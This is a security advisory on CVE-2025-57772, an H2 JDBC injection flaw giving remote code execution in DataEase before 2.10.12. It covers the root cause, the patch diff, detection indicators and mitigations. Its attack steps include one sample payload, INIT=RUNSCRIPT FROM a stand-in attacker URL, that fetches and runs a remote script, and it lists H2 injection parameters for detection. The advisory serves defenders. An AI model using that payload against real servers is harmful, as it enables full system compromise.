CVE-2025-57772: DataEase H2 JDBC RCE Vulnerability

CVE-2025-57772 Overview

CVE-2025-57772 is a Code Injection vulnerability affecting DataEase, an open source business intelligence and data visualization tool. Prior to version 2.10.12, a security bypass exists in DataEase's H2 JDBC handling that allows attackers to circumvent filtering logic and achieve Remote Code Execution (RCE). The vulnerability stems from improper validation in the getJdbcUrl method, which returns JDBC URL parameters without adequate security checks, enabling attackers to specify the H2 driver (org.h2.Driver) for malicious JDBC connections.

Critical Impact

This vulnerability enables unauthenticated remote code execution through H2 JDBC injection, potentially allowing complete system compromise of DataEase installations exposed to the network.

Affected Products

• DataEase versions prior to 2.10.12
• DataEase business intelligence deployments using H2 JDBC connections
• Self-hosted DataEase installations with network-accessible datasource configurations

Discovery Timeline

• 2025-08-25 - CVE-2025-57772 published to NVD
• 2025-09-03 - Last updated in NVD database

Technical Details for CVE-2025-57772

Vulnerability Analysis

This vulnerability is classified under CWE-94 (Improper Control of Generation of Code - Code Injection). The flaw exists in DataEase's datasource configuration handling, specifically in how JDBC URLs are processed and validated. When a JDBC URL meets certain criteria, the getJdbcUrl method returns the user-supplied URL directly without proper sanitization. This design flaw allows attackers to bypass H2's built-in filtering mechanisms.

The H2 database driver supports special JDBC URL parameters that can trigger code execution, such as INIT scripts or RUNSCRIPT commands. By exploiting this bypass, an attacker can craft a malicious JDBC connection string that executes arbitrary code on the underlying server when the datasource connection is established.

Root Cause

The root cause lies in the getJdbcUrl method acting as a simple getter that returns user-controlled JDBC URL parameters without validating that the URL matches the expected database type. The method fails to enforce that JDBC URLs beginning with specific prefixes (such as jdbc:db2) actually correspond to their declared driver types, allowing an attacker to supply an H2 JDBC URL while claiming to use a different driver.

Attack Vector

The attack is network-based and can be executed without authentication. An attacker exploits this vulnerability by:

1. Submitting a datasource configuration request to the DataEase application
2. Specifying "driver":"org.h2.Driver" in the request payload
3. Providing a malicious H2 JDBC URL containing RCE payloads (e.g., INIT=RUNSCRIPT FROM 'http://attacker.com/malicious.sql')
4. The getJdbcUrl method returns the malicious URL, bypassing H2's filtering logic
5. When the connection is established, arbitrary code executes on the server

// Security patch in Db2.java - Validates JDBC URL prefix
// Source: https://github.com/dataease/dataease/commit/1644d81dff46272b09570fa1f4a8f83f01f37440
                     DEException.throwException("Illegal parameter: " + illegalParameter);
                 }
             }
+            if (!getJdbcUrl().startsWith("jdbc:db2")) {
+                DEException.throwException("Illegal jdbcUrl: " + getJdbcUrl());
+            }
             return getJdbcUrl();
         }
         if (StringUtils.isEmpty(extraParams.trim())) {

The patch adds validation to ensure the JDBC URL prefix matches the expected database type, preventing attackers from injecting H2 URLs through other datasource type configurations.

Detection Methods for CVE-2025-57772

Indicators of Compromise

• Datasource configuration requests containing org.h2.Driver driver specifications with non-H2 database type declarations
• JDBC URLs containing suspicious parameters such as INIT, RUNSCRIPT, TRACE_LEVEL_SYSTEM_OUT, or MODE=MSSQLServer
• Unexpected outbound connections from the DataEase server to external hosts referenced in JDBC URLs
• Process spawning or file system modifications originating from the H2 database engine or DataEase Java process

Detection Strategies

• Monitor HTTP POST requests to datasource configuration endpoints for mismatched driver and URL prefix combinations
• Implement Web Application Firewall (WAF) rules to detect H2-specific JDBC injection patterns in request bodies
• Review application logs for DEException errors related to illegal JDBC URLs or parameters, indicating attempted exploitation
• Deploy runtime application self-protection (RASP) to detect JDBC-based code injection attempts

Monitoring Recommendations

• Enable verbose logging for datasource configuration operations in DataEase
• Set up alerts for any datasource creation or modification requests containing H2 driver references
• Monitor network traffic for connections to the H2 database engine ports from unexpected sources
• Implement file integrity monitoring on the DataEase installation directory to detect post-exploitation modifications

How to Mitigate CVE-2025-57772

Immediate Actions Required

• Upgrade DataEase to version 2.10.12 or later immediately
• Review existing datasource configurations for any suspicious JDBC URLs or driver specifications
• Restrict network access to DataEase instances using firewall rules until patching is complete
• Audit logs for evidence of exploitation attempts prior to patching

Patch Information

The vulnerability has been fixed in DataEase version 2.10.12. The security patch introduces validation checks that verify JDBC URL prefixes match their declared database types, preventing the bypass of H2 filtering logic. The fix is available in commit 1644d81dff46272b09570fa1f4a8f83f01f37440. Additional details can be found in the GitHub Security Advisory GHSA-v37q-vh67-9rqv.

Workarounds

• If immediate patching is not possible, restrict access to datasource configuration endpoints to trusted administrators only
• Implement network segmentation to isolate DataEase servers from untrusted networks
• Deploy a reverse proxy with request inspection to block JDBC URL patterns containing H2-specific injection payloads
• Disable or remove unused datasource type configurations to reduce the attack surface

# Example: Restrict access to DataEase using iptables
# Allow only trusted management IPs to access the DataEase port
iptables -A INPUT -p tcp --dport 8100 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 8100 -j DROP